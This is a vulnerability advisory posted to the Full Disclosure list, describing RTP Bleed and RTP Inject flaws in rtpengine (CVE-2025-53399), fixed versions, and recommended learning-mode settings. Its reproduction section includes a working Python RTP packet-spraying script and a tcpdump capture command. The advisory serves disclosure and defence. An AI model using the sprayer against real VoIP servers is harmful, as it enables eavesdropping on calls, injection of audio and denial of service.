Full Disclosure mailing list archives

Rtpengine: RTP Inject and RTP Bleed vulnerabilities despite proper configuration (CVSS v4.0 Score: 9.3 / Critical)

- CVSS v4.0
    - Exploitability: High
    - Complexity: Low
    - Vulnerable system: Medium
    - Subsequent system: Medium
    - Exploitation: High
    - Security requirements: High
    - Vector: https://www.first.org/cvss/calculator/4-0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:H/SI:H/SA:H
- Other references: CVE-2025-53399 (https://www.cve.org/CVERecord?id=CVE-2025-53399)
- Fixed versions: >= mr13.4.1.1 (https://github.com/sipwise/rtpengine/releases/tag/mr13.4.1.1)
- Enable Security Advisory: 
https://github.com/EnableSecurity/advisories/tree/master/ES2025-01-rtpengine-improper-behavior-bleed-inject
- Tested vulnerable versions: mr13.3.1.4 and lower
- Timeline:
- First report: 2025-04-24
- Triaged: 2025-04-30
- Fix provided for testing: 2025-05-05
    - Various back and forth and more fixes: 2025-05 / 2025-06
    - Vendor applied all fixes satisfactorily to master branch: 2025-06-05
- Enable Security verified and confirmed fix: 2025-06-26
- Vendor release with fix (mr13.4.1.1): 2025-07-03
- Enable Security advisory: 2025-07-31


DESCRIPTION

Media servers often support source address learning to dynamically adapt to network conditions and client behavior. 
This is especially useful in scenarios involving NAT where the source IP and port of incoming RTP packets may differ 
from what was initially signaled via SDP over SIP. However, this mechanism can be exploited for two types of attacks if 
malicious packets are accepted as legitimate:

1. RTP Bleed - when a victim's media (e.g., audio) can be redirected to an attacker-controlled host
2. RTP Inject – when attackers can insert arbitrary RTP packets into active calls

Note: Neither of these attacks requires the attacker to act as a man-in-the-middle.

Additionally, when rtpengine relays SRTP packets in vulnerable versions, it does not validate their authentication tag, 
also allowing RTP Bleed and RTP Inject despite the use of SRTP which should guarantee confidentiality and integrity. 
Instead of dropping packets with missing or invalid authentication tags, it forwards them for processing.

The purpose of this advisory is to describe security fixes that aim to fully address or at least mitigate these RTP 
Bleed and RTP Inject attacks wherever possible. While complete elimination of these vulnerabilities may not always be 
achievable due to the inherent nature of RTP learning mechanisms, the fixes provide significant improvements in 
security posture.

TECHNICAL DETAILS

Rtpengine provides the following learning modes through the --endpoint-learning option:

- delayed (default): waits 3 seconds before learning the source address from the first RTP packet received after the 
delay.

- immediate: learns the address from the very first incoming packet, with no delay.

- no-learning: disables learning entirely, which is the only mode that is not vulnerable but can break connectivity for 
clients behind NAT.

- heuristic: combines a 3-second delay with a ranking system that prefers addresses matching the original SDP, falling 
back to partial matches or any observed address if necessary.

Additionally, rtpengine supports an optional strict source flag that forces continued inspection of source addresses 
and ports of incoming RTP packets. It does this after the learning phase, enforcing what was previously learned. The 
strict source flag is meant to prevent RTP Inject but needs the learning mode to work as expected for it to also work 
correctly.

The often recommended mitigation is to make use of SRTP, with the assumption that rtpengine would discard any RTP 
packets that fail the authentication tag check. However, in rtpengine mr13.3.1.4 and lower, this was not found to be 
the case when using SDES-SRTP.

The following is a behavior matrix for rtpengine versions mr13.3.1.4 and lower showing different learning modes and 
flags. This table shows that none of the learning modes nor strict source mitigated the attacks described, except for 
the combination of strict source with no-learning:

                    | Delayed       | Heuristic     | No learning         | Immediate     |
no strict source    | Inject, Bleed | Inject, Bleed | Inject only         | Inject, Bleed |
strict source       | Inject, Bleed | Inject, Bleed | No Inject or Bleed  | Inject, Bleed |

The same behavior occurred whether rtpengine relayed plaintext RTP or SDES-SRTP. The heuristic flag did not prevent RTP 
Bleed or RTP Inject attacks, even when the correct IPs and ports are exchanged over SDP.

With the updated version, rtpengine's heuristic behavior was changed so that the learning modes behave as expected, 
giving administrators the opportunity to mitigate these vulnerabilities while still handling NAT complexities.

The following is the same behavior matrix, but with the fixed version:

                    | Delayed       | Heuristic                | No learning   | Immediate     |
no strict source    | Inject, Bleed | Inject, <5 packets Bleed | Inject only   | Inject, Bleed |
strict source       | Inject, Bleed | <5 packets Inject, <5 packets Bleed | No Inject or Bleed | Inject, Bleed |

This means that with the updated version, the heuristic mode limits attacks to at most the first 5 packets for both 
injection and bleeding.
We believe that in many live environments, the recommended setup would be to use heuristic learning with strict source, 
which keeps the flexibility of endpoint learning while significantly mitigating RTP inject and RTP bleed attacks.

In the case of SDES-SRTP, we also recommend using heuristic learning mode with strict source, which keeps the 
flexibility of endpoint learning while mitigating RTP inject and RTP bleed. However, for complete protection with SRTP, 
a patch specific to SRTP was introduced by adding a new recrypt flag. This flag forces rtpengine to decrypt and then 
re-encrypt RTP packets, thus validating the authentication tag before any further processing. This ensures that 
unauthenticated packets are discarded. This new flag should be used in addition to the previously recommended learning 
mode and flag.

Patched version behavior matrix for SDES-SRTP, with and without recrypt:

                    | Delayed            | Heuristic          | No-learning        | Immediate          |
Without recrypt     | Inject, Bleed      | Inject, <5 packets Bleed | Inject only   | Inject, Bleed      |
With recrypt        | No Inject or Bleed | No Inject or Bleed | No Inject or Bleed | No Inject or Bleed |

There is the special case of DTLS-SRTP, typically used for WebRTC environments, which was found vulnerable to RTP Bleed 
but not RTP Inject. This was due to the logic applied in this case, where learning mode occurred before the RTP packets 
were properly validated. This has also received a security fix.

IMPACT

In the case of plaintext RTP, this vulnerability allows attackers to perform RTP Inject as well as RTP Bleed. RTP 
Inject affects the integrity of the media while RTP Bleed affects the confidentiality of calls. 

In cases where rtpengine is relaying plaintext RTP as well as when it relays SRTP (in vulnerable versions), the 
vulnerabilities will cause Denial of Service because the RTP packets will be sent to the attacker instead of the 
legitimate recipient.

HOW TO REPRODUCE THE ISSUE

To reproduce this issue in a reliable manner, a security tester needs three different parties each with their own IP 
address:

1. Vulnerable rtpengine server
2. An attacker node
3. A victim user node

Steps:

1. Run tcpdump on the attacker node to monitor for incoming packets from the target:

    tcpdump -iany -w /tmp/rtpbleed.pcap src host <target_ip> and not icmp

2. Save the following Python script as sprayrtp.py:

    import socket, argparse

    parser = argparse.ArgumentParser(description="Spray simple RTP packets over a port range")
    parser.add_argument("target", help="Target IP address")
    parser.add_argument("start_port", type=int, help="First UDP port to spray")
    parser.add_argument("end_port",   type=int, help="Last UDP port to spray")
    args = parser.parse_args()

    rtppacket=[0x80, 0x0, 0xee, 0x3c, 0x4, 0x42, 0xa2, 0xc1, 0xef, 0xa, 0x7, 0xde]
    rtppacket+=[0x0 for _ in range(160)] 

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    while True:
        for port in range(args.start_port, args.end_port + 1):
            sock.sendto(bytes(rtppacket), (args.target, port))

3. Run the script on the attacker node against the target:

    python3 sprayrtp.py <target_ip> <start_port> <end_port>

4. From the victim user node, place a number of calls that make use of SRTP.

5. Observe that tcpdump on the attacker node will show incoming packets from the vulnerable target.

Note: a SIP signaling server such as Kamailio or OpenSIPS is usually part of the setup as well.


SOLUTIONS AND RECOMMENDATIONS

It is recommended to upgrade to a fixed version, and to either disable learning entirely or use the heuristic learning 
mode in conjunction with the strict source flag. When using SDES-SRTP, it is recommended to use both strict source and 
recrypt flags for complete protection. While fixes for the heuristic mode were backported to earlier versions, the new 
recrypt flag is only available in the latest version. In the case of DTLS-SRTP, a fix was made so that SRTP validation 
occurs before learning mode. We highly recommend upgrading to access these security features.

The first version that includes the fixes is available at https://github.com/sipwise/rtpengine/releases/tag/mr13.4.1.1.

ABOUT ENABLE SECURITY

Enable Security (https://www.enablesecurity.com) provides quality penetration testing to help protect your real-time 
communications systems against attack.

DISCLAIMER

The information in the advisory is believed to be accurate at the time of publishing based on currently available 
information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with 
regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or 
consequential loss or damage arising from use of, or reliance on, this information.

DISCLOSURE POLICY

This report is subject to Enable Security's vulnerability disclosure policy which can be found at 
https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy.
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

Current thread:

• Rtpengine: RTP Inject and RTP Bleed vulnerabilities despite proper configuration (CVSS v4.0 Score: 9.3 / Critical) Sandro Gauci via Fulldisclosure (Aug 02)